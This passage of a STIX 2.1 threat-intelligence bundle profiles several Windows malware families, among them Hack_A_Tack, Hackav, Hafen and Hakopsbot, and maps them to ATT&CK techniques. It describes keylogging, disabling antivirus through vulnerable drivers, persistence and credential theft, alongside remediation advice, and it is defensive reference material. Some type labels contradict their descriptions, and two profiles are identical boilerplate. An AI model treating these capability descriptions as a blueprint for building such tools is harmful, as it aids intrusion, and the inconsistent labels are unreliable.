          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hacdef"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac4c3663-0536-5159-a1c7-149e28eb93a4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1d16d6b-efe3-5069-a34c-7dc38abd4802",
      "target_ref": "attack-pattern--5b21f3ea-47ac-581f-9305-2d2e0cbe9c22",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hacdef exhibits technique T1014 (Rootkit (The core functionality of hiding the attacker's presence))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e78388e5-598a-5a59-9349-a80ca97a9e95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f1d16d6b-efe3-5069-a34c-7dc38abd4802",
      "target_ref": "attack-pattern--3de29a73-c5ce-5b4c-82e7-4707471dcabe",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hacdef exhibits technique T1056.004 (Input Capture: Credential API Hooking (Intercepting system calls to filter output))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hack_A_Tack",
      "description": "Hack a Tack (cataloged across antivirus vendors as Trojan:Win32/HackaTack, Backdoor.HackaTack, and Trojan.Hack-a-Tack) is a classic remote access trojan and backdoor initially surfaced during the late 1990s and early 2000s cybercrime era. Developed in Borland Delphi by French programmers, Hack a Tack historically established listening servers over TCP port 31258 (and port 31587 in variant builds). The trojan provides remote operators with unauthorized dominion over infected Windows machines, including taking remote desktop screenshots, logging user keystrokes, displaying disruptive message pop-ups, manipulating local file directories, downloading and executing secondary binaries, and performing remote reboots. Hack a Tack was widely distributed via peer-to-peer file sharing networks, IRC DCC file transfers, and Trojanized freeware game installers. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/HackaTack",
        "Backdoor.HackaTack",
        "Trojan.Hack-a-Tack",
        "Win32/HackaTack.RAT",
        "Backdoor.Win32.HackATack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hack_A_Tack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hack_a_tack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe97c936-a301-5575-accf-636a8219e178",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hack_A_Tack exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--72ba36cf-fd5d-5b80-9ef6-9ee6d4faa94a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hack_A_Tack exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--83fc1417-055e-5a70-b3d9-99e3834d1d65",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hack_A_Tack exhibits technique T1071 (Application Layer Protocol)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87e47d40-6eee-5b7d-b629-dac45aea128b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hack_A_Tack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eac82a39-fe51-57e4-8787-79bfe49abae7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--46ed18c6-b0b7-5cee-8c83-7f23d749e2eb",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hack_A_Tack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--372bc581-dd80-5b3d-af00-194c19cafcfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hackav",
      "description": "Trojan:Win32/Hackav is a specific classification for utility malware designed with a singular, critical purpose: to impair, terminate, or completely uninstall legitimate endpoint security software (Antivirus, EDR, and Windows Defender). Hackav tools are almost never used in isolation; they are deployed by attackers as a precursor step immediately before executing a highly destructive payload, most commonly ransomware, to ensure the encryption process goes uninterrupted (`T1562.001`).<br><br><b>Understanding Hackav (AV Killers)</b><br>To an end-user, Hackav is invisible, though they might briefly notice a Windows notification stating that their antivirus has been turned off. For a security operations center, the execution of Hackav is a 'Code Red' alarm. It means an attacker has achieved high-level administrative privileges and is actively clearing the way for a catastrophic attack.<br><br><b>Execution and Impairment Mechanics</b><br>Hackav requires administrative or SYSTEM privileges to function. Once deployed by an affiliate or initial access broker, it employs extremely aggressive techniques. It may use legitimate, signed drivers (Bring Your Own Vulnerable Driver - BYOVD) (`T1068`) to gain kernel-level access to forcefully terminate protected EDR processes. It modifies the Windows Registry (`HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender`) to permanently disable real-time protection. It may also attempt to uninstall security software using silent WMI commands or by stopping critical security services (`T1562.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the complete loss of endpoint visibility and protection, invariably followed by a major secondary attack. Host-based IoCs include EDR alerts (often the final alert before the agent goes offline) indicating tampering, unexpected stopping of security services (e.g., `WinDefend`), and unauthorized registry modifications targeting AV policies. The presence of known vulnerable drivers (like `procexp.sys` or outdated hardware drivers) dropped in the `%Temp%` directory is a major warning sign. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hackav",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hackav"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f71d789-fc28-5ec4-b776-2738b6fea2f9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372bc581-dd80-5b3d-af00-194c19cafcfc",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hackav exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (The core function of Hackav tools))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f2e0f426-8696-569d-a361-c075f9754896",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372bc581-dd80-5b3d-af00-194c19cafcfc",
      "target_ref": "attack-pattern--a3b1cbba-cac7-5f53-b134-6cfe2a13b053",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hackav exhibits technique T1068 (Exploitation for Privilege Escalation (Abusing vulnerable drivers to terminate protected processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3b7311ed-0dec-5674-b555-f4f61520a4d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--372bc581-dd80-5b3d-af00-194c19cafcfc",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hackav exhibits technique T1486 (Data Encrypted for Impact (The nearly guaranteed follow-on attack))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7d4334f2-874f-5fe7-9ca6-f89c2cf3c9f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Haed",
      "description": "<h3>Executive Summary</h3>\nHaed is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHaed is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Haed operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Haed ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Haed receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Haed infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Haed executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Haed frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Haed",
        "Downloader.Haed",
        "Win32/Haed"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Haed",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/haed"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1eafc010-da1c-5c7a-8b1a-9567adf986b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d4334f2-874f-5fe7-9ca6-f89c2cf3c9f3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haed exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--af5db931-b1f2-518c-9a36-87f5810268f5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d4334f2-874f-5fe7-9ca6-f89c2cf3c9f3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haed exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d8774cf4-936f-5910-920c-3c3ddc5ad6fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7d4334f2-874f-5fe7-9ca6-f89c2cf3c9f3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haed exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hafen",
      "description": "Hafen (cataloged across security vendors under detections including Backdoor:Win32/Hafen, BKDR_HAFEN.A, and Trojan:Win32/Hafen) is a stealthy Remote Access Trojan (RAT) and persistent backdoor active since 2012. Engineered to maintain covert operational persistence within compromised corporate networks, Hafen is delivered primarily through spearphishing emails carrying weaponized document droppers or deployed as a secondary payload by web exploit kits. Upon execution, the malware unpacks its heavily obfuscated binary payload, copies itself into %APPDATA% or %SYSTEMROOT% directories disguised as a legitimate Windows administrative utility, and secures autostart persistence through Windows Registry Run keys (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run) and hidden scheduled tasks. To bypass host intrusion prevention systems (HIPS) and conceal outbound communications, Hafen injects its networking modules into trusted system processes such as svchost.exe. Once anchored, Hafen initiates encrypted command-and-control beaconing, providing remote threat actors with interactive command shell access, system profiling, keystroke monitoring, arbitrary file upload/download, and network pivoting capabilities. (Observed samples in benchmark: 120)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Hafen",
        "BKDR_HAFEN.A",
        "Trojan:Win32/Hafen",
        "Win32/Hafen",
        "Trojan.Hafen"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hafen",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hafen"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a163b38e-a712-5060-9abe-e3de46711546",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hafen exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a0aa352-5b3a-5b64-aa44-296f629bb421",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hafen exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c6dd863-8ec1-5633-9513-d86d9a7f0a8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hafen exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--34a29bb7-d972-5bed-ac1f-ebf4bee50099",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hafen exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b7e16aa-a887-599b-9574-016a8acd3015",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe2ab996-7b39-58c0-9118-34ed55439ab0",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hafen exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fe5f7b1f-a789-5c6d-a465-530bf14d9f00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Haknata",
      "description": "<h3>Executive Summary</h3>\nHaknata is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHaknata is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Haknata operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Haknata ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Haknata receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Haknata infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Haknata executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Haknata frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Haknata",
        "Downloader.Haknata",
        "Win32/Haknata"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Haknata",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/haknata"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dab95d5d-b4b0-5afe-a2ed-a61c41e50f49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe5f7b1f-a789-5c6d-a465-530bf14d9f00",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haknata exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bea32911-b49d-5615-a9e2-91a221b5f1e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe5f7b1f-a789-5c6d-a465-530bf14d9f00",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haknata exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--edffef43-0c39-5515-ad14-7b4061875ac2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fe5f7b1f-a789-5c6d-a465-530bf14d9f00",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Haknata exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7dab161f-8dba-5a89-90ed-38d39ab12a1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hakopsbot",
      "description": "<h3>Executive Summary</h3>\nHakopsbot is a specialized Information Stealer (InfoStealer) and Keylogger designed specifically to harvest sensitive authentication credentials and personal data from infected Windows systems. Often created using commercial or freely available \"builder\" tools found on cybercriminal forums, Hakopsbot focuses on silently capturing user inputs and exfiltrating saved passwords from web browsers and email clients.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHakopsbot is typically distributed via low-sophistication phishing campaigns, often masquerading as game cheats, software \"cracks,\" or generic malicious email attachments (like zip files containing executable screensavers). \n\nOnce active, it operates entirely in the background to harvest data:\n<ul>\n<li><strong>Global Keylogging:</strong> The malware utilizes Windows API hooking (such as `SetWindowsHookEx`) to intercept all keystrokes globally, capturing passwords typed into banking sites, social media, and corporate VPN portals before they are even encrypted by the browser.</li>\n<li><strong>Credential Dumping:</strong> Hakopsbot actively targets the credential stores of popular web browsers (Chrome, Firefox, Edge) and FTP/Email clients (FileZilla, Outlook), extracting saved usernames, passwords, and active session cookies.</li>\n<li><strong>Data Exfiltration:</strong> The stolen data is typically compiled into a hidden text or log file and periodically exfiltrated to the attacker via SMTP (emailing the logs to a disposable address) or by uploading it to a compromised FTP server.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn active Hakopsbot infection is a severe data privacy and security breach. While the malware itself does not destroy data, the theft of valid corporate credentials can immediately lead to catastrophic secondary attacks, including unauthorized VPN access, data breaches, and Business Email Compromise (BEC) fraud.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Mandatory Credential Reset:</strong> The absolute most critical step is an immediate reset of all passwords that were typed or saved on the infected machine. This includes corporate Active Directory accounts, personal email, and financial institutions.</li>\n<li><strong>MFA Enforcement:</strong> Ensure Multi-Factor Authentication (MFA) is strictly enforced across all external-facing corporate portals to mitigate the risk of stolen passwords being reused.</li>\n<li><strong>Antivirus Sweeps and EDR:</strong> Utilize enterprise EDR to identify the execution path of the keylogger, remove the executable, and delete the hidden log files containing the exfiltrated keystrokes.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Keylogger.Hakopsbot",
        "Spyware.Hakops",
        "Trojan.PWS.Hakops"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Hakopsbot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/hakopsbot"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--703f61ed-b1b9-5596-adea-b1d3c0200e25",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dab161f-8dba-5a89-90ed-38d39ab12a1b",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hakopsbot exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8f43f8d7-027f-58fe-b914-8d53752b1f7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dab161f-8dba-5a89-90ed-38d39ab12a1b",
      "target_ref": "attack-pattern--be3c2ebf-802b-5550-add8-0d33497d4a55",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hakopsbot exhibits technique T1552.001 (Credentials In Files (Harvesting passwords and wallets from local storage))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9598d673-074f-559f-86c9-5ac8dc305f88",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7dab161f-8dba-5a89-90ed-38d39ab12a1b",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Hakopsbot exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--87907607-3136-549c-a0e1-b6abe19f09a9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Hallaj",
      "description": "Trojan:Win32/Hallaj is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Hallaj</b><br>To an end-user, a Hallaj infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Hallaj is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Hallaj is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Hallaj frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Hallaj reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
